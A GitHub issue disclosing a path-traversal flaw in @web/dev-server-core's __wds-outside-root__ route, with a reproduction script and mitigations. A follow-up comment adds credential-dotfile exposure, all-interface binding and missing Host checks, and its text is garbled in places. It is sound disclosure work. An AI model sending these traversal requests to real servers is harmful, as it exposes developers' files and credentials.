Skip to content

Question: should __wds-outside-root__ allow direct HTTP reads from arbitrary rootDir parents? #3117

Open

Description

@Dremig

Hi maintainers,

I found that @web/dev-server-core can serve files from parent directories of the configured rootDir through direct requests to the __wds-outside-root__ route.

I understand that serving files outside rootDir may be an intentional feature for monorepos, symlinks, or files imported from outside the project root. My concern is narrower: the current implementation appears to let any HTTP client choose the parent-directory depth directly in the URL, without checking whether that outside-root path was generated by the dev server or explicitly allowed.

Summary

@web/dev-server-core@0.7.5 exposes a route under:

/__wds-outside-root__/<depth>/<path>

The <depth> component is taken from the request path and used to move the static file root upward from the configured rootDir. A direct request can therefore read files from rootDir parent directories.

If this behavior is fully intentional, feel free to close this as expected behavior. If outside-root serving is intended only for server-generated URLs or explicitly known files, this may be worth tightening.

Affected version

Tested version:

@web/dev-server-core@0.7.5

This is the latest npm version I tested.

Relevant code

In packages/dev-server-core/src/middleware/serveFilesMiddleware.ts, requests whose path starts with __wds-outside-root__ are handled by resolving a custom root directory and passing it to koa-send:

const serveCustomRootDirMiddleware: Middleware = async (ctx, next) => {
  if (isOutsideRootDir(ctx.path)) {
    const { normalizedPath, newRootDir } = resolvePathOutsideRootDir(ctx.path, rootDir);
    await send(ctx, normalizedPath, { ...koaStaticOptions, root: newRootDir });
    return;
  }
  return next();
};

Relevant source:

packages/dev-server-core/src/middleware/serveFilesMiddleware.ts:22-25

The custom root directory is calculated in packages/dev-server-core/src/utils.ts:

export function resolvePathOutsideRootDir(browserPath: string, rootDir: string) {
  const [, , depthString] = browserPath.split('/');
  const depth = Number(depthString);
  if (depth == null || Number.isNaN(depth)) {
    throw new Error(`Invalid wds-root-dir path: ${path}`);
  }

  const normalizedPath = browserPath.replace(`${OUTSIDE_ROOT_KEY}${depth}`, '');
  const newRootDir = path.resolve(rootDir, `..${path.sep}`.repeat(depth));

  return { normalizedPath, newRootDir };
}

Relevant source:

packages/dev-server-core/src/utils.ts:126-136

The concern is that depth is request-controlled. For example, if rootDir is:

/tmp/project/root

then this request:

/__wds-outside-root__/1/secret.txt

uses /tmp/project as the new static root and serves:

/tmp/project/secret.txt

Reproduction

set -eu

rm -rf /tmp/web-dev-server-core-poc
mkdir -p /tmp/web-dev-server-core-poc
cd /tmp/web-dev-server-core-poc

npm init -y >/dev/null
npm install @web/dev-server-core@0.7.5 >/dev/null

node - <<'NODE'
const { DevServer } = require("@web/dev-server-core");
const fs = require("fs");
const os = require("os");
const path = require("path");

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

(async () => {
  const base = fs.mkdtempSync(path.join(os.tmpdir(), "wds-pt-"));
  const root = path.join(base, "root");

  fs.mkdirSync(root);
  fs.writeFileSync(path.join(base, "secret.txt"), "SECRET_FROM_PARENT");
  fs.writeFileSync(path.join(root, "index.html"), "ROOT_INDEX");

  const server = new DevServer(
    {
      rootDir: root,
      port: 8124,
      hostname: "127.0.0.1",
      middleware: [],
      plugins: []
    },
    console
  );

  await server.start();
  await sleep(300);

  const url = "http://127.0.0.1:8124/__wds-outside-root__/1/secret.txt";
  const response = await fetch(url);

  console.log("status:", response.status);
  console.log("body:", await response.text());

  await server.stop();
})();
NODE

Observed output:

Receiving request: /__wds-outside-root__/1/secret.txt
Responding to request: /__wds-outside-root__/1/secret.txt with status 200
status: 200
body: SECRET_FROM_PARENT

The file is outside the configured rootDir, but a direct HTTP request can still retrieve it.

Why this might matter

If the dev server is reachable by another local process, a browser, a malicious web page through localhost requests, or a network peer when bound more broadly, direct access to parent directories may expose files that the project did not intend to serve.

The practical impact depends on where rootDir is located. For example, for a nested project root such as:

/home/user/project/app

the route can expose files under:

/home/user/project

and larger depth values can move higher up the filesystem tree.

Possible hardening

If direct arbitrary outside-root reads are not intended, possible mitigations could include:

  • Only allowing outside-root URLs generated by the dev server for known files.
  • Keeping an allowlist/map of explicitly permitted outside-root directories.
  • Rejecting request-controlled depths that do not correspond to an approved outside-root path.
  • Resolving the final file path and enforcing containment against an approved root using path.relative().
  • Returning 403/404 for direct __wds-outside-root__ requests that were not generated by an internal resolution step.

Thanks for taking a look.

Activity

  1. sevesiz commented on Oct 25, 2026

    @sevesiz

    Confirming this still reproduces on the current release, and adding two details that
    affect the impact assessment.

    Still present in @web/dev-server-core@1.0.1 (via @web/dev-server@1.0.0).

    1. Dotfiles are served, so credential files are in scope

    serveFilesMiddleware.ts passes hidden: true to koa-send, so dotfiles are not
    excluded:

    serveFilesMiddleware.ts passes hidden: true to koa-send, so dotfiles are not
    excluded:

    const koaStaticOptions: KoaStaticOptions = {
      hidden: true,
      defer: true,
      // ...
    };

    Combined with the request-controlled depth, files such as .env, .npmrc or
    .aws/credentials above rootDir are retrintinel
    .env placed one level above rootDir:

    GET /__wds-outside-root__/1/.env  ->  200, body returned
    

    This moves the impact from "project files above the root" to "credentials".

    2. hostname: 'localhost' binds to all

    The report above mentions "a network peer when bound more broadly". In practice the
    server also listens broadly when it is confistart()deliberately passeshost: undefined` for loopback hostnames:

    host: ['localhost', '127.0.0.1'].includes(th
      ? undefined
      : this.config.hostname,

    Node then binds to all interfaces. With hostname: 'localhost' configured:

    server.server.address()  // { address: '::', family: 'IPv6', port: 8623 }

    So a dev server that looks loopback-only in its config is reachable from the local
    network, and the outside-root route is reachable along with it.

    There is also no Host or Origin validation on these requests — a request carrying
    Host: attacker.example.com is answered with 200 — which is the usual precondition
    for a DNS-rebinding path from a browser.

    Prior art for the class

    The comparable issue has been treated as a vulnerability elsewhere:
    webpack-dev-server CVE-2026-14620 (missing origin check; notably it does not return
    file contents) and @vitest/mocker CVE-2026-84373 (file disclosure through the dev
    server).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions